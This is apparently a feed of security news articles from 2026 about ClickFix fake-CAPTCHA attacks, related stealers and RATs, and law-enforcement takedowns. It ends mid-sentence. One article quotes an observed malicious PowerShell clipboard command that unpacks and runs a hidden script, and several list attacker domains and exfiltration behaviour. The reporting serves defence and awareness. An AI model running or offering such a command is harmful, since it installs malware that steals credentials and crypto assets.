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ClickFix on macOS: how the Terminal-based attack works, and how to protect yourself | Kaspersky official blog
AI is getting better and better at solving CAPTCHAs. This makes website creators — who still need to verify that they’re dealing with humans rather than bots — come up with increasingly sophisticated proof-of-humanity checks. It seems an average user would no longer be surprised if asked to recite a poem — or, say, dance Gangnam Style — just to access certain websites. The latter could double as an age check, but I digress. Attackers have learned to exploit this variety of sometimes bizarre checks to their advantage. In our blog, we’ve talked more than once about the ClickFix attack technique, which is all about slipping a malicious instruction to the victim under the guise of yet another CAPTCHA. Historically, this technique has been used to attack users of Windows-powered devices. However, researchers recently discovered a campaign that targets macOS users. In this post, we talk in more detail about the ClickFix attack technique, the new campaign aimed at Mac users, and the criminals’ goals. What is the ClickFix attack technique? Many common attacks and scams rely on social engineering, or more simply put — manipulation. Instead of looking for software vulnerabilities, attackers try to trick the user into doing the dirty work themselves: opening a malicious file, clicking a link to a fake website, sharing sensitive data, or running a harmful command. The simplest example of social engineering is scam calls, where criminals pose as a boss, neighbor, bank security specialist, police officer… the list goes on almost indefinitely. And if you think that only, let’s say, not-so-smart users fall for these tricks, you’re wrong: social engineering has been used to hack the CIA chief’s email, hijack the X (Twitter) accounts of Elon Musk and Joe Biden, and steal half a billion dollars. In our post, They’re reading you like a book: scammers’ favorite tricks, we take a close look at their favorite techniques — give it a read so you don’t end up sharing company with those famous victims. The ClickFix attack also relies on social engineering, except the scammers aren’t betting on the victim’s fear of an authority figure, but rather on their trust in technology and their habit of following instructions — even when they don’t quite make sense. In a classic ClickFix scenario, a user visits a compromised or fake website and, instead of the expected page, sees a notification that there’s an issue. The site might claim that to continue, you need to complete an extra verification check, update your browser, or fix an error. Next, the victim is prompted to follow a few simple steps that look harmless enough at first glance. Usually, this involves copying some text from the attackers’ website, opening the Run window, pasting the text there, and hitting Enter. In reality, the text is a malicious command that downloads and runs malware on the device. Since the user carries out all the steps themselves, the operating system’s security mechanisms and built-in warnings are often dismissed as just another part of the instructions. In our blog, we’ve covered the typical pretexts used to trick victims into taking dangerous actions; you can read more about them here. The ClickFix attack scheme quickly began spawning various spin-offs, such as FileFix and ConsentFix. Until recently, the victims of ClickFix and its variants were mostly Windows users, while Mac fans encountered it much more rarely. But lately, the number of ClickFix attacks targeting Apple device owners has been on the rise. How does the ClickFix attack on macOS work? The ClickFix attack on Macs, as documented by cybersecurity researchers, begins with the classic fake CAPTCHA scenario. To pass the proof-of-humanity check, attackers prompt the user to copy a command, open Terminal, and paste the text into it. The more interesting part is what happens after the malicious command is run. First, it downloads a malicious DMG — the standard format for disk images containing installation files in macOS — from a remote server, and saves it to the /tmp temporary folder under a random name. Then the script mounts the disk image without showing it in Finder or creating a desktop icon — keeping it hidden from the user. After that, the script searches the disk image for an app or installation package, and automatically launches it once found. One case documented in the researchers’ findings involved the widespread AMOS (Atomic macOS Stealer) infostealer being distributed this way. To gain extra privileges on the system, the stealer Trojan displays a fake macOS system authentication window tricking the user into willingly typing in their password. What are the attackers’ goals? After the malware is installed, the attackers steal literally everything they can get their hands on from the victim’s device. Atomic macOS Stealer extracts sensitive information stored in Chromium-based browsers (Google Chrome, Microsoft Edge, Brave, Opera, Arc, Vivaldi, CocCoc, and Yandex), as well as Firefox-based ones (LibreWolf, SeaMonkey, Tor Browser, Waterfox, and Zen Browser), such as the following: Cookies Saved logins and passwords Auto-fill data Saved credit and debit cards Browser profile data On top of all that, the attackers also steal PDF, TXT, and RTF files from the victim’s device. The criminals are especially interested in crypto apps; specifically: desktop crypto wallets like Exodus, Electrum, Atomic Wallet, Wasabi Wallet, Bitcoin Core, Litecoin Core, DashCore, Guarda, Binance Wallet, Dogecoin Wallet, and Tonkeeper. The malware also gathers data from more than 200 cryptocurrency-related browser extensions. But that’s still not everything… It also targets the Telegram and Discord desktop apps. The malware doesn’t spare Apple’s ecosystem either — stealing Safari cookies, notes from Apple Notes, and passwords stored in the built-in Apple Keychain. All of the collected information is added to a ZIP archive and uploaded to the attackers’ server. In addition, the malware replaces legitimate versions of hardware crypto wallet apps — specifically Ledger Wallet and Trezor Suite — with malicious fakes. Together, this trove of data gives attackers broad opportunities to further compromise accounts, steal digital assets, and launch new attacks on behalf of the victim. How do I avoid becoming a victim of ClickFix? As social engineering attacks continue to grow, users need to be more vigilant than ever. That goes for everything from chatting with strangers on the phone or in messaging apps to everyday online activity. Never paste commands into your Terminal just because a website asks you to — whether it’s to pass a verification check, confirm your identity, or view hidden content. No legitimate website will ever ask you to enable its features by manually running commands Terminal. Never enter your macOS administrator password unless you completely understand what app is asking for it. Regularly install macOS security updates, or better yet, set them to install automatically by going to System Settings → General → Software Update and clicking the i icon next to Automatic Updates. While recent versions of macOS may warn you when you try to paste suspicious or malicious commands into Terminal, this isn’t a reliable feature. For example, the malicious code shown in the screenshot above didn’t trigger any warnings at all on macOS Tahoe 26.5.2. Trust the warnings from your operating system and security software rather than the instructions — or even the demands — of websites and apps. Install a reliable security suite for macOS. It’ll warn you and block malicious activity if you land on a suspicious website. Use secure password manager to keep your login credentials and crypto assets safe from cybercriminals. Read our posts to learn about other threats facing Apple device owners:
kaspersky.comJul 27, 2026extracted
ClickFix is changing the economics of social engineering
ClickFix is changing the economics of social engineering ClickFix has moved from a one-off social engineering trick into an industrialized attack ecosystem that is outpacing conventional antivirus and endpoint defenses, according to ReversingLabs. The technique first showed up in late 2023 and early 2024, and Proofpoint named it in mid-2024. The method skips exploits and vulnerabilities entirely. A fake webpage, styled as a CAPTCHA check, browser update notice, or meeting error, instructs a visitor to open the Windows Run dialog or macOS Terminal, paste a command, and press Enter. JavaScript on the page has already copied a malicious command to the clipboard before the visitor sees any instructions. The command runs through PowerShell, mshta, or curl, tools already trusted on the system. Victims reach ClickFix lure pages through compromised websites acting as watering holes, malvertising placed through legitimate ad networks, SEO poisoning that ranks malicious pages for common search terms, and phishing campaigns impersonating vendors or internal IT teams. The MaaS economy “ClickFix’s rapid proliferation is not accidental,” ReversingLabs noted. “Behind the campaign diversity and payload variety is a structured Malware-as-a-Service (MaaS) economy that has industrialized the production, distribution, and operation of ClickFix.” Complete ClickFix kits sell on underground forums for $250 per month to $1,800 for a lifetime license, with software updates included. Higher-priced packages add pre-built lure templates for major targets like Cloudflare CAPTCHAs, browser and OS update screens, SSL certificate errors, font install pages, and meeting errors. Buyers also get domain rotation services, AV-bypass guarantees marketed as a standard feature, and support channels on Telegram. “This structure means that ClickFix campaigns can be launched by individuals with no meaningful malware development capability,” researchers added. “The sophistication is rented, not built. The practical consequence for defenders is a dramatic increase in campaign volume with no corresponding increase in the skill threshold of the attacker.” In April 2026, Netskope Threat Labs exposed the backend of one ClickFix MaaS platform after the operators’ own security lapse leaked server-side admin panel details. The backend managed multiple operators at once and tracked cryptocurrency wallet assets across victims. Its payload, a Node.js-based RAT, loaded stealing modules directly into memory after a command-and-control connection and routed traffic over gRPC through the Tor network. Payloads keep expanding Lumma Stealer is the most prolific ClickFix payload, but the payload catalog is expanding well beyond it, researchers found. Remote access trojans including DarkGate, XWorm, AsyncRAT, NetSupport, and SectopRAT are also in the ClickFix rotation, enabling hands-on-keyboard activity such as lateral movement, persistence, and data exfiltration. ClickFix attacks evolve and accelerate In January 2026, researchers at Huntress and Microsoft Defender Experts identified a new variant called CrashFix. It deliberately crashes the victim’s browser, then deploys a social engineering lure offering to restore it. That disruption raises compliance and cuts reliance on traditional exploit paths, since the user is reacting to a browser that has genuinely stopped working. “Security teams should treat CrashFix as evidence of an active development cycle behind ClickFix infrastructure.” NetSecurity documented a wider family of “fix-type” attacks. FileFix manipulates the Windows File Explorer address bar, PromptFix targets AI tooling, and ConsentFix abuses OAuth consent screens to hijack accounts. Early ClickFix campaigns went after everyday consumers. Lately the lures have gotten more corporate, mimicking Microsoft 365 prompts, VPN errors, and internal IT portals. Researchers expect AI-generated lure content to spread further. Fighting ClickFix with structural analysis ReversingLabs has come up with a fix for ClickFix’s evasion of common security tools, and that is to identify the attack before users ever paste a command into the Run dialog or Terminal, according to the report. To do this, Threat Analyst Toni Dujmović built a structural YARA rule that reads the lure page itself rather than the payload, then ran it against the company’s file collection. The rule, which ReversingLabs is releasing as open source, flagged 123 confirmed ClickFix lures that had evaded every antivirus engine tested. Of 4,062 matched samples, those 123 broke down into 105 flagged clean and 18 left unclassified, with several first observed within 48 hours. Researchers advise hardening systems at more than one point. PowerShell Constrained Language Mode limits what a script can do even when someone launches it directly, and script block logging leaves a record for when prevention fails. Windows Defender Application Control or AppLocker keeps living-off-the-land binaries from running outside their normal context. The social engineering layer is where a person still gets a say, and training employees to recognize fake browser updates, CAPTCHA pages, and IT support prompts also helps defend against ClickFix, ReversingLabs concluded.
helpnetsecurity.comJul 15, 2026extracted
Researcher Analyzes 3,000 Live ClickFix Payloads, Exposing API-Driven Malware Delivery
ClickFix, the trick that fools people into running malware by hand, has quietly grown a back office. New research shows the malicious commands behind its fake "prove you're human" pages are now handed out by API-driven servers that give each visitor the same malware in a different disguise. The same research also turned up a new delivery method built to slip past Windows' script scanning. Security researcher Bert-Jan Pals took apart several ClickFix platforms and analyzed roughly 3,000 payloads from live campaigns. He presented the findings at OrangeCon in early June and published the details on June 30. ClickFix is simple by design. A booby-trapped page shows a fake CAPTCHA or error, hidden JavaScript drops a command into your clipboard, and the page tells you to press a key combo, paste, and hit Enter. You run the malware yourself. There's usually no exploit at the first step and often no file for traditional antivirus to flag, so conventional email and endpoint controls have less to catch. It works well enough that ESET measured a 517% jump from late 2024 into the first half of 2025, and Microsoft's 2025 Digital Defense Report put it at 47% of the initial-access cases seen by its Defender Experts team. The technique now has its own entry in MITRE ATT&CK, T1204.004. Payloads made to order The new part is how the payloads are produced. Pals found the pages pulling their commands from backend servers that work like an on-demand service: they take requests, check an access token, log the caller, and return a freshly scrambled command each time. He asked one server for 100 payloads and got 100 different ones, wrapped in a rotating mix of Base64, AES, TripleDES, Rijndael, and Deflate. Strip the wrapping and, at least for now, they all unpack to the same script, which runs in memory through a PowerShell runspace. The disguise is disposable; the malware under it is not, though Pals warns the core payload will likely start changing per victim before long. The same platform serves lures in 25 languages and matches the command to the visitor's operating system, with macOS versions running alongside Windows. The "as-a-service" label is not just branding. ESET has tracked criminals selling ready-made ClickFix builders to other attackers. Pals found a parallel commercialization one layer deeper, in how each payload is churned out on request. A quieter way in: the Downloads-folder method The second finding is a direct answer to defenders who watch the clipboard. Instead of copying a malicious command, the newer pages copy a harmless-looking one. The page quietly downloads a file to the Downloads folder, and the clipboard gets a short "orchestrator" line that moves that file, unpacks it, and runs the script inside. Because the pasted line is only that orchestrator and not the payload itself, it is built to slide past AMSI, the Windows feature that lets antivirus scan scripts before they run. The bad code sits in the downloaded file, off to the side. The observed clipboard line looked like this: powershell -C "$t=$env:TMP;Move-Item \"$HOME\Downloads\tmp.zip\" \"$t\7947.zip\";tar -xf \"$t\7947.zip\" -C \"$t\";conhost --headless powershell -ExecutionPolicy Bypass -File \"$t\tmp.ps1\" # \"* I am not a robot reCAPTCHA Verification ID:7947 *\"" Execution has drifted toward stealth as well. The original 2024 lure told people to press Windows+R and paste into the Run box. A newer version, common through 2025 and into 2026, points them to Windows+X and the Windows Terminal instead. Terminal use looks more ordinary, and unlike the Run box, it leaves no trace in the RunMRU registry key that investigators normally check. ClickFix stopped being a criminals-only tool a while ago. Proofpoint tied state-backed groups from Russia, Iran, and North Korea, including APT28, MuddyWater, and Kimsuky, to campaigns that dropped ClickFix into their existing infection chains, and North Korean crews built a fake-job "ClickFake Interview" version to hit cryptocurrency workers. The trick has spawned named relatives such as FileFix and DownloadFix that lean on other trusted Windows tools. The scale is not theoretical either: security firm Expel found one ClearFake wave that likely infected as many as 147,521 systems since late August 2025. What defenders should watch The defensive lesson has not changed. The details have. The dependable signals are process chains, not clipboard text: explorer.exe or WindowsTerminal.exe launching powershell.exe, cmd.exe, or msiexec.exe and reaching out to the network right after. Those were the most common launchers in Pals' data, with PowerShell and cmd tied at about 39% each and msiexec close behind at 34%. Behavioral EDR, application-control rules that limit which programs can call script interpreters, and plain user guidance ("never paste a command you were told to run into the Run box or a terminal") all still hold. The Downloads-folder method adds one more thing to hunt: an innocent-looking one-liner that touches the Downloads folder and then spawns a hidden PowerShell. Pals also listed three payload servers seen during the research: comicstar[.]lat babybon[.]cfd merkantalolol[.]asia A connection to one of these does not prove infection. It means a command was most likely placed in someone's clipboard. Pals' verdict on the technique is blunt: "ClickFix is here to stay." The pattern across his research is that ClickFix shifts the moment defenders catch up, and the move from one-off scripts to on-demand payload servers is what keeps that adaptation cheap to repeat. The next thing worth watching is whether the malware itself, not just its wrapper, starts changing from one victim to the next.
thehackernews.comJul 1, 2026extracted
Amadey, StealC malware operations disrupted in Operation Endgame action
Microsoft, Europol, and international partners have disrupted infrastructure used by the Amadey and StealC malware operations as part of Operation Endgame, which targets cybercriminal services and ransomware gangs. The law enforcement action involved authorities and private partners from multiple countries, who assisted in identifying and taking down, seizing, blocking, or sinkholing infrastructure tied to the malware families. According to Europol, the operation resulted in the disruption of 326 servers and 142 domains, Investigators also identified more than €41 million ($47 million) in cryptocurrency linked to criminal activity and recovered approximately 27 million credentials stolen from over 385k compromised systems. "By taking down these tools simultaneously, the collaboration between law enforcement and private parties has increased friction for cybercriminals, making it harder for attacks to succeed, spread, or recover," announced Europol. The coordinated action also targeted SocGholish (FakeUpdates), a malware loader that infects visitors via compromised websites that serve fake browser update prompts. Operation Endgame included law enforcement agencies from Canada, Denmark, Germany, the Netherlands, the United Kingdom, and the United States, with Europol and Eurojust coordinating the effort. Private-sector support was provided by Microsoft, ESET, Proofpoint, IBM X-Force, Bitsight, Infoblox, Orange Cyberdefense, Shadowserver, Have I Been Pwned, Spamhaus, and others. According to Europol, the operation focused on disrupting cybercrime infrastructure that threat actors utilize to gain initial access to systems, steal credentials, and ultimately deploy ransomware or conduct financial fraud. Amadey and StealC are sold to cybercriminals through malware-as-a-service operations, where affiliates pay for access to malware builders, management panels, support, and infrastructure. Criminals use Amadey to gain an initial foothold on victim devices to deploy additional malware. StealC is used to steal credentials, cryptocurrency wallets, and other sensitive information that can later be sold or leveraged in ransomware attacks. Amadey is a malware botnet used by both ransomware gangs and state-sponsored hacking groups to breach networks. More recently, StealC has been widely used in a variety of ClickFix attacks, such as fake instructional videos on TikTok and FileFix attacks. In a civil action filed by Microsoft in the US, Microsoft's Digital Crimes Unit said it identified more than 200 malicious command-and-control domains and IP addresses associated with Amadey and StealC and worked with partners to shut down the infrastructure through court orders, domain seizures, registrations, and provider notifications. According to Microsoft's complaint, stolen credentials harvested through StealC are commonly sold on underground marketplaces and through initial-access brokers (IABs). These credentials are then used by other threat actors to breach networks, steal data, and deploy ransomware. The company said the two malware families were linked to more than 140,000 infected devices during the first two weeks of May 2026 alone. Other private partners released reports on their involvement in the disruption. Security vendor ESET said it assisted the operation by identifying and disrupting the infrastructure used by both malware families. The company reported that the action affected roughly 50 domains used by the operations and nearly 200 active command-and-control servers. Proofpoint and IBM X-Force also contributed intelligence and malware analysis supporting the disruption. Bitsight said it assisted the operation by identifying and analyzing infrastructure associated with both malware families, helping investigators map servers and related command-and-control infrastructure used by the threat actors. The disruption is the latest phase of Operation Endgame, which previously disrupted other malware families, such as DanaBot, Bumblebee, Rhadamanthys, VenomRAT, Elysium, and SmokeLoader. Unfortunately, unless arrests are made in the operations, the threat actors commonly rebuild infrastructure to launch new attacks. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJun 24, 2026extracted
New ‘Mistic’ RAT Opens Door to Several Ransomware Families
An initial access broker (IAB) linked to multiple ransomware families has been using a new remote access trojan (RAT) in recent attacks, Broadcom’s Symantec and Carbon Black threat hunter team reports. The threat actor, tracked as Woodgnat and KongTuke, and active since at least May 2024, is known to have ties to ransomware groups such as Qilin, Interlock, Rhysida, Akira, 8Base, and Black Basta. Starting in April 2026, Woodgnat has been deploying the new Backdoor.Mistic RAT against the networks of organizations across multiple industries, including education, insurance, IT, and professional services. Previously, the threat actor was observed deploying the ModeloRAT in attacks targeting other entities. “The targeting appears to be opportunistic, with the attackers casting a wide net and then assessing which organizations they could sell access to rather than focusing on a single sector,” Broadcom’s researchers say. Also tracked as MLTBackdoor, Mistic provides attackers with typical capabilities, including file download and upload, file manipulation, folder creation, and code execution. The attackers can also modify the frequency at which the malware checks for new commands and can instruct it to terminate itself. Woodgnat has been deploying the backdoor as a DLL, executing it via sideloading. In a recent attack, the threat actor also deployed a credential stealer alongside Mistic. Additional tools observed in the intrusion include Curl, Reg.exe, Net (net.exe), PowerShell, Certutil, and WMIC (Windows Management Instrumentation), for data exfiltration, registry manipulation, network resource management, command execution, reconnaissance, lateral movement, file download, and browser certificate installation. The IAB is known for distributing malware via compromised WordPress sites and for relying on social engineering to entice users into executing attacker-supplied commands, including the ClickFix, FileFix, and CrashFix techniques. “In each case the victim is ultimately tricked into running an attacker-supplied PowerShell command. While the initial compromise may be opportunistic, the attackers profile the machines for potential interest to determine their value and if they can sell access to them,” Broadcom’s threat hunter team says. Since April 2026, the threat actor has also been using helpdesk and IT-support lures delivered via Microsoft Teams to convince victims into executing malicious code. Related: Russian Initial Access Broker Behind FortiBleed Campaign Related: Hackers Exploiting Cisco Unified CM Vulnerability Related: Microsoft Teams Relay Servers Abused in DragonForce Ransomware Attack Related: Over 1.4 Million Accounts Disrupted in Cybercrime Crackdown
securityweek.comJun 24, 2026extracted
Stealthy Mistic backdoor linked to ransomware access broker KongTuke
A new backdoor dubbed Mistic has been observed in financially motivated attacks targeting organizations in the insurance, education, IT, and professional services sectors. The malware is believed to be linked to KongTuke/Woodgnat, an initial access broker active since at least 2024 that specializes in compromising corporate networks and selling that access to ransomware groups, including Qilin, Interlock, Rhysida, Akira, 8Base, and Black Basta. Researchers at cybersecurity company Symantec say that Mistic has been used in intrusions since April. In at least one incident, it was deployed shortly after ModeloRAT, a backdoor attributed to KongTuke and delivered via social engineering attacks over Microsoft Teams. Symantec believes that Mistic is a newly developed, stealthy backdoor designed for long-term persistence in compromised networks. Mistic attack chain In the attacks investigated by Symantec, the infection started with the launch of the legitimate executable MpExtMs.exe to side-load a malicious DLL named version.dll, which acts as the loader of Mistic (EndpointDlp.dll). The researchers note that the filename chosen for Mistic resembles Microsoft endpoint security tooling, which may help the malware blend in with trusted software on the host. A separate .NET DLL is also loaded, which displays a fake login screen to the victim to steal their account credentials. Once loaded, Mistic communicates with its command-and-control infrastructure and can receive commands from the operator. Symantec lists the following capabilities: Upload/download, move, rename, delete files, and create folders Modify how frequently Mistic checks for commands from the command-and-control (C2) server Execute code received from the C2 directly in memory Terminate itself and delete files from the host According to Symantec’s analysis, Mistic appears to have been designed for stealth, enabling attackers to maintain a persistent foothold within compromised networks over extended periods. “The backdoor runs payloads in memory with no file written to disk and includes a kill switch that lets it delete itself, which are features consistent with an operator seeking long-term, low-visibility access,” the researchers say. Symantec does not provide details on how the infection begins, but KongTuke has been known to use ClickFix, and its FileFix and CrashFix variants, since early 2025 to deliver the ModeloRAT malware. In a technical report this week, cloud security company Zscaler notes that Mistic, which it tracks as MTLBackdoor, was delivered as a payload in a multi-stage ClickFix infection chain in May. Zscaler researchers say that "one of the most powerful features [in MTLBackdoor] is the ability to load Beacon Object Files (BOFs) to expand its capabilities." BOFs are small programs in C that can execute directly in the memory of a command-and-control (C2) process, leaving no footprint on the disk and evading detection of security agents. They are common in red team products, such as Cobalt Strike, for the post-exploitation stage. Symantec believes that Mistic confirms the observed trend of custom tools being used in ransomware attacks, although the backdoor appears to have been developed by an initial access broker closely connected to the ransomware scene. KongTuke is known to use multiple other tools, such as the legitimate WinPython and Node.js runtimes to execute malicious code, finger.exe to retrieve obfuscated payloads, the fake NexShield browser extension, the encrypted GateKeeper .NET payload, and the MintsLoader and D3F@ck Loader malware loaders to deliver additional payloads. Both Zscaler and Symantec reports [1, 2] provide indicators of compromise for the Mistic/MTLBackdoor malware and note that it is a stealthy tool that can expand its functionality. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJun 24, 2026extracted
Hackers Bypass Security Tools to Target Users Directly
Threat actors are eschewing traditional malware-driven attacks in order to bypass security tools and socially engineer their victims, according to a new study from Bridewell. The consulting specialist made the claims in its Cyber Threat Intelligence Report 2026, published on May 18. The report draws on Bridewell's “sustained monitoring of malicious infrastructure, client telemetry, incident response activity, and targeted research.” Attack techniques like ClickFix, FileFix and ConsentFix trick users into copying commands, approving fake authentication prompts and completing legitimate login processes to bypass endpoint security, multifactor authentication (MFA) and other controls, it said. Because attacks take place within the browser or trusted identity workflows, they’re much harder to spot, the firm warned. Earlier this month, the Australian Cyber Security Centre (ACSC) was forced to alert users about a ClickFix campaign designed to spread the Vidar Stealer infostealing malware. In fact, Bridewell warned that infostealers have become a critical enabler in the cybercrime landscape, harvesting data that can be used for ransomware, fraud and other campaigns. It added that the ransomware landscape continues to evolve and fragment, with rapid data theft becoming the main mechanism for extortion, rather than lengthier encryption-focused attacks. The idea is to reduce response time and increase pressure on victims, it said. Meanwhile, traditional barriers between cybercrime and nation state activity continue to erode increasing the scale, sophistication and unpredictability of attacks, especially those targeting critical infrastructure sectors. Continued Growth in Supply Chain Compromise Bridewell urged cybersecurity leaders to look out for the following threats over the coming year: Increased exploitation of edge devices and identity infrastructure Continued growth in supply chain compromise Rising activity linked to North Korea and other state-aligned actors Ongoing convergence between cybercrime and nation-state operations “As attackers continue to exploit trusted systems and human behaviour, organizations must move beyond traditional security approaches and focus on identity protection, user awareness and threat-informed defence,” argued Gavin Knapp, head of cyber threat intelligence at Bridewell. “While the structure of the threat landscape remains familiar, the speed, scale, and resilience of adversary operations continue to increase. As attackers place greater emphasis on identity abuse, edge infrastructure and data‑exfiltration‑driven extortion models, organizations must adapt defensive strategies accordingly.”
infosecurity-magazine.comMay 19, 2026extracted
KongTuke hackers now use Microsoft Teams for corporate breaches
Initial access broker KongTuke has moved to Microsoft Teams for social engineering attacks, taking as little as five minutes to gain persistent access to corporate networks. The threat actor tricks users into pasting a PowerShell command that ultimately delivers the ModeloRAT, which has been previously seen in ClickFix attacks [1, 2]. Initial access brokers (IAB) like KongTuke typically sell company network access to ransomware operators, who use it to deploy file-theft and data-encrypting malware. Cybercriminals have increasingly adopted Microsoft Teams in attacks, reaching out to company employees and pretending to be IT and help-desk staff. The victims are convinced to run a malicious PowerShell command on their systems, which deploys the “ModeloRAT” malware. ReliaQuest researchers observed this activity and say that it is a shift in tactics for KongTuke, who previously relied solely on web-based “FileFix” and “CrashFix” lures. “This Teams activity, which appears to add to, rather than replace, that web-based approach, marks the first time we’ve seen KongTuke use a collaboration platform for initial access,” explains ReliaQuest. “In the incidents we investigated, a single external Teams chat moved the operator from cold outreach to a persistent foothold in under five minutes.” The campaign has been active since at least April 2026, with KongTuke rotating through five Microsoft 365 tenants to evade blocking, the researchers say. To pass as internal IT support staff, the attacker uses Unicode whitespace tricks to make the display name appear legitimate. The malicious PowerShell command shared via Teams downloads a ZIP archive from Dropbox that contains a portable WinPython environment, which eventually launches the Python-based malware, ModeloRAT (Pmanager.py). The malware collects system and user information, captures screenshots, and can exfiltrate files from the host filesystem. ReliaQuest notes that the ModeloRAT version used in this recent campaign has evolved compared to what was seen in previous operations, mostly in three ways: A more resilient C2 architecture with a five-server pool, automatic failover, randomized URL paths, and self-update capability. Multiple independent access paths, including a primary RAT, a reverse shell, and a TCP backdoor, running on separate infrastructure to preserve access if one channel is disrupted. Expanded persistence mechanisms using Run keys, Startup shortcuts, VBScript launchers, and SYSTEM-level scheduled tasks that may survive standard cleanup procedures. The researchers note that the scheduled task isn’t removed by the implant’s self-destruct routine, which wipes the other persistence mechanisms, and can persist through system reboots. To defend against Team-initiated attacks, it is recommended to restrict external Microsoft Teams federation using allowlists to block these attempts at their start. Additionally, administrators can use the indicators of compromise available in ReliaQuest’s report to hunt for attacks, signs of compromise, and persistence artifacts. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMay 14, 2026extracted
AIを守るセキュリティ――LLM Jackingから見るCyber for AIの実践
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itmedia.co.jpApr 24, 2026extracted
ゼロトラストの最終ピース? セキュアブラウザの有効性を徹底まとめ
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itmedia.co.jpApr 16, 2026extracted
「ClickFix」と「FileFix」で実際に使われた攻撃シナリオ7選
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All Rights Reserved.
itmedia.co.jpApr 14, 2026extracted
AI-generated Slopoly malware used in Interlock ransomware attack
A new malware strain dubbed Slopoly, likely created using generative AI tools, allowed a threat actor to remain on a compromised server for more than a week and steal data in an Interlock ransomware attack. The breach started with a ClickFix ruse, and in later stages of the attack, the hackers deployed the Slopoly backdoor as a PowerShell script acting as a client for the command-and-control (C2) framework. IBM X-Force researchers analyzed the script and found strong indicators that it was created using a large language model (LLM), but could not determine which one. Evidence pointing to AI-assisted development includes extensive commentary in the code, structured logging, error handling, and clearly named variables. All this is rare in human-developed malware. They attributed the attack to a financially motivated group they track as Hive0163, "whose main objective is extortion through large-scale data exfiltration and ransomware." According to the researchers, Slopoly is rather unsophisticated, although its deployment in ransomware operators' attack chains indicates that AI tools are actively used to accelerate custom malware development, which can help evade detection. Although comments in the Slopoly script describe it as a “Polymorphic C2 Persistence Client,” IBM X-Force did not find any feature that would allow modifying its own code during execution. “The script does not possess any advanced techniques and can hardly be considered polymorphic, since it's unable to modify its own code during execution,” reads the IBM report. “The builder may, however, generate new clients with different randomized configuration values and function names, which is standard practice among malware builders.” IBM X-Force researchers believe that Slopoly was generated by a builder that inserted configuration values, such as beaconing intervals, command-and-control addresses, mutex names, and session IDs. The malware is deployed in C:\ProgramData\Microsoft\Windows\Runtime\, and its main functions include: Collecting system information Sending a heartbeat beacon every 30 seconds to /api/commands Polling for commands every 50 seconds Executing received commands via cmd.exe Sending command output back to the C2 server Maintaining a rotating persistence.log file Establishing persistence through a scheduled task named “Runtime Broker” The commands it supports allow downloading and executing EXE, DLL, or JavaScript payloads; running shell commands and returning the results; changing beaconing intervals; updating itself; or exiting its own process. The attack IBM observed started with a ClickFix social engineering flow, and deployed multiple malware components besides Slopoly, including the NodeSnake and InterlockRAT backdoors. Interlock ransomware emerged in 2024 and was an early adopter of the ClickFix social engineering technique, and later also the FileFix variant. The threat group has previously claimed attacks against high-profile organizations such as the Texas Tech University System, DaVita, Kettering Health, and the city of Saint Paul, Minnesota. The Interlock ransomware payload observed in the attacks reported by IBM is a 64-bit Windows executable delivered via the JunkFiction loader. It can execute as a scheduled task running as SYSTEM, and uses Windows Restart Manager API to release locked files, appending the ‘. !NT3RLOCK’ or ‘.int3R1Ock’ extensions on their encrypted copies. IBM reports that Hive0163 may also have associations with the developers behind Broomstick, SocksShell, PortStarter, SystemBC, and the Rhysida ransomware operators. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 12, 2026extracted
「なぜ正規アカウントが奪われたのかまでは分からない」の原因 ~フィッシング? ClickFix?~
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atmarkit.itmedia.co.jpMar 8, 2026extracted
Microsoft Discloses DNS-Based ClickFix Attack Using Nslookup for Malware Staging
Microsoft has disclosed details of a new version of the ClickFix social engineering tactic in which the attackers trick unsuspecting users into running commands that carry out a Domain Name System (DNS) lookup to retrieve the next-stage payload. Specifically, the attack relies on using the "nslookup" (short for nameserver lookup) command to execute a custom DNS lookup triggered via the Windows Run dialog. ClickFix is an increasingly popular technique that's traditionally delivered via phishing, malvertising, or drive-by download schemes, often redirecting targets to bogus landing pages that host fake CAPTCHA verification or instructions to address a non-existent problem on their computers by running a command either through the Windows Run dialog or the macOS Terminal app. The attack method has become widespread over the past two years since it hinges on the victims infecting their own machines with malware, thereby allowing the threat actors to bypass security controls. The effectiveness of ClickFix has been such that it has spawned several variants, such as FileFix, JackFix, ConsentFix, CrashFix, and GlitchFix. "In the latest DNS-based staging using ClickFix, the initial command runs through cmd.exe and performs a DNS lookup against a hard-coded external DNS server, rather than the system's default resolver," the Microsoft Threat Intelligence team said in a series of posts on X. "The output is filtered to extract the Name: DNS response, which is executed as the second-stage payload." Microsoft said this new variation of ClickFix uses DNS as a "lightweight staging or signaling channel," enabling the threat actor to reach infrastructure under their control, as well as erect a new validation layer before executing the second-stage payload. "Using DNS in this way reduces dependency on traditional web requests and can help blend malicious activity into normal network traffic," the Windows maker added. The downloaded payload subsequently initiates an attack chain that leads to the download of a ZIP archive from an external server ("azwsappdev[.]com"), from which a malicious Python script is extracted and run to conduct reconnaissance, run discovery commands, and drop a Visual Basic Script (VBScript) responsible for launching ModeloRAT, a Python-based remote access trojan previously distributed through CrashFix. To establish persistence, a Windows shortcut (LNK) file pointing to the VBScript is created in the Windows Startup folder so that the malware is automatically launched every time the operating system is started. The disclosure comes as Bitdefender warned of a surge in Lumma Stealer activity, driven by ClickFix-style fake CAPTCHA campaigns that deploy an AutoIt-version of CastleLoader, a malware loader associated with a threat actor codenamed GrayBravo (formerly TAG-150). CastleLoader incorporates checks to determine the presence of virtualization software and specific security programs before decrypting and launching the stealer malware in memory. Outside of ClickFix, websites advertising cracked software and pirated movies serve as bait for CastleLoader-based attack chains, deceiving users into downloading rogue installers or executables masquerading as MP4 media files. Other CastleLoader campaigns have also leveraged websites promising cracked software downloads as a starting point to distribute a fake NSIS installer that also runs obfuscated VBA scripts prior to running the AutoIt script that loads Lumma Stealer. The VBA loader is designed to run scheduled tasks responsible for ensuring persistence. "Despite significant law enforcement disruption efforts in 2025, Lumma Stealer operations continued, demonstrating 